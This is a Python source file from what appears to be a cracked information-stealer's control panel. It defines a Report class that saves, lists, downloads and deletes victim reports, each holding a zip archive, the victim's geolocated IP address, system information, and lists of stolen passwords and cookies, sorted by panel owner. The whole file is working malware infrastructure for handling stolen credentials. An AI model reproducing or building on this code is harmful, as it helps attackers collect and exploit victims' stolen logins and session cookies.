Files
VulturiCracked/Panel/core/models/reports.py
T
2026-08-27 11:02:04 -06:00

190 lines
6.6 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Import modules
from io import BytesIO
from hashlib import md5
from os import path, remove
from maxminddb import open_database
from json import loads as parse_json
from timeago import format as timeago
from time import time, strftime, localtime
# Import packages
from core.models.country import GeoData
from core.models.errors import ReportsJsonErrors
from core.manager.database import DatabaseManager
from core.paths import REPORTS_DIR, DATABASE_DIR
# Connect to reports database
reports_db = DatabaseManager("reports.db")
# Connect to maxmind geo-ip database
geo_ip = open_database(path.join(DATABASE_DIR,
"GeoLite2-City.mmdb"))
""" Reports controller """
class Report(object):
def __init__(self, identification: int = 0,
archive: str = "", geo_data: dict = {},
counter: dict = {}, information: dict = {}, passwords_list: str = "", cookies_list: str = "",
add_time: str = "", comment: str = ""):
self.id = identification
self.comment = comment
self.archive = archive
self.counter = counter
self.add_time = add_time
self.geo_data = geo_data
self.information = information
self.cookies_list = cookies_list
self.passwords_list = passwords_list
# Repr
def __repr__(self):
return f"Report(id={self.id})"
# Check if report exists
def Exists(self) -> bool:
response = reports_db.execute(
sql="SELECT id FROM reports WHERE id = ?",
values=[self.id],
commit_changes=False
)
return len(response) != 0
# Save report
def SaveReport(self, ip: str, owner: str):
# Get zip name and path
zip_name = md5(f"{owner}_{ip}_{len(self.passwords_list)}".encode()).hexdigest()
zip_path = path.join(REPORTS_DIR, zip_name)
# Write system info to database
reports_db.execute(
sql="INSERT INTO reports "
"(archive, ip_address, counter, information, passwords_list, cookies_list, time, owner) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
values=[zip_name, ip, self.counter, self.information, self.passwords_list, self.cookies_list, time(), owner],
commit_changes=True
)
# Write report to archive
with open(zip_path, "wb") as archive:
archive.write(self.archive)
# Remove report from disk and database
def DeleteReport(self):
# Get archive name from database
archive_name = reports_db.execute(
sql="SELECT archive FROM reports WHERE id = ?",
values=[self.id],
commit_changes=False
)[0][0]
# Delete report from database
reports_db.execute(
sql="DELETE FROM reports WHERE id = ?",
values=[self.id],
commit_changes=True
)
zip_file = path.join(REPORTS_DIR, archive_name)
# Delete report from disk
if path.exists(zip_file):
remove(zip_file)
# Set comment
def ChangeComment(self, text: str):
# Delete report from database
reports_db.execute(
sql="UPDATE reports SET comment = ? WHERE id = ?",
values=[text, self.id],
commit_changes=True
)
# Get archive bytes
def GetArchive(self) -> tuple:
# Fetch reports
response = reports_db.execute(
sql="SELECT archive, ip_address, time FROM reports WHERE id = ?",
values=[self.id],
commit_changes=False
)[0]
# Read and decompress archive from disk
zip_path = path.join(REPORTS_DIR, response[0])
if path.exists(zip_path) == True:
with open(zip_path, "rb") as archive:
# Generate archive name
fmt = "%d-%m-%Y %H:%M:%S"
name = f"report [{response[1]}] {strftime(fmt, localtime(response[2]))}.zip"
# Return handle with generated name
return BytesIO(archive.read()), name
return BytesIO(b''), "error"
# Check if user is report owner
def IsReportOwner(self, owner: str) -> bool:
response = reports_db.execute(
sql="SELECT owner FROM reports WHERE id = ?",
values=[self.id],
commit_changes=False
)[0]
return owner.__eq__(response[0])
# Get reports
@staticmethod
def GetReports(owner: str, identification: int = None, geo_data_dict: bool = False) -> list:
reports = []
# Fetch all reports
if identification is None:
response = reports_db.execute(
sql="SELECT id, archive, ip_address, counter, information, passwords_list, cookies_list, comment, time FROM reports WHERE owner = ? ORDER BY time DESC",
values=[owner],
commit_changes=False
)
# Fetch one report
else:
response = reports_db.execute(
sql="SELECT id, archive, ip_address, counter, information, passwords_list, cookies_list, comment, time FROM reports WHERE owner = ? AND id = ?",
values=[owner, identification],
commit_changes=False
)
# Enumerate all reports
for row in response:
# Append geo data for report
geo = geo_ip.get(row[2])
if geo is None: geo = {}
geo["ip_address"] = row[2]
if geo_data_dict is False:
geo = GeoData(geo)
# Append time data for report
fmt = "%d.%m.%Y %H:%M:%S"
date = strftime(fmt, localtime(row[8]))
ago = timeago(row[8])
add_time = f"{date} ({ago})"
# Parse JSON counter values
try:
counter = parse_json(row[3])
except Exception:
# On JSON parse error
counter = ReportsJsonErrors.default_counter
# Parse JSON os information values
try:
information = parse_json(row[4])
except Exception:
# On JSON parse error
information = ReportsJsonErrors.default_information
# Create report object
new = Report(
identification=row[0],
archive=row[1],
counter=counter,
add_time=add_time,
cookies_list=row[6],
passwords_list=row[5],
comment=row[7],
geo_data=geo,
information=information,
)
reports.append(new)
return reports